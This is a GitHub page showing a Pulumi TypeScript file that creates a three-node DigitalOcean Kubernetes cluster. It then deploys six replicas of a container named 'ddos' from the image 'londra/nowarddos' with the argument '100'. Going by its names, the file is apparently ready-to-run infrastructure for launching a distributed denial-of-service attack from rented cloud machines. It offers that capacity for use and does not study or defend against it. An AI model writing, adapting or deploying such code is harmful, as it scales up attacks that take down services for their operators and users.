-
Notifications
You must be signed in to change notification settings - Fork 1
/
index.ts
32 lines (25 loc) · 951 Bytes
/
index.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import * as k8s from "@pulumi/kubernetes";
import * as digitalocean from "@pulumi/digitalocean";
const cluster = new digitalocean.KubernetesCluster("do-k8s", {
region: digitalocean.Region.FRA1,
version: digitalocean.getKubernetesVersions({versionPrefix: "1.21"}).then(p => p.latestVersion),
nodePool: {
name: "default",
size: digitalocean.DropletSlug.DropletS8VCPU16GB_AMD,
nodeCount: 3,
},
surgeUpgrade: false
});
export const kubeconfig = cluster.kubeConfigs[0].rawConfig;
const provider = new k8s.Provider("do-k8s", { kubeconfig })
const appLabels = { app: "ddos" };
const deployment = new k8s.apps.v1.Deployment(`ddos`, {
spec: {
selector: { matchLabels: appLabels },
replicas: 6,
template: {
metadata: { labels: appLabels },
spec: { containers: [{ name: "ddos", image: "londra/nowarddos", args: ["100"]}] }
}
}
}, { provider });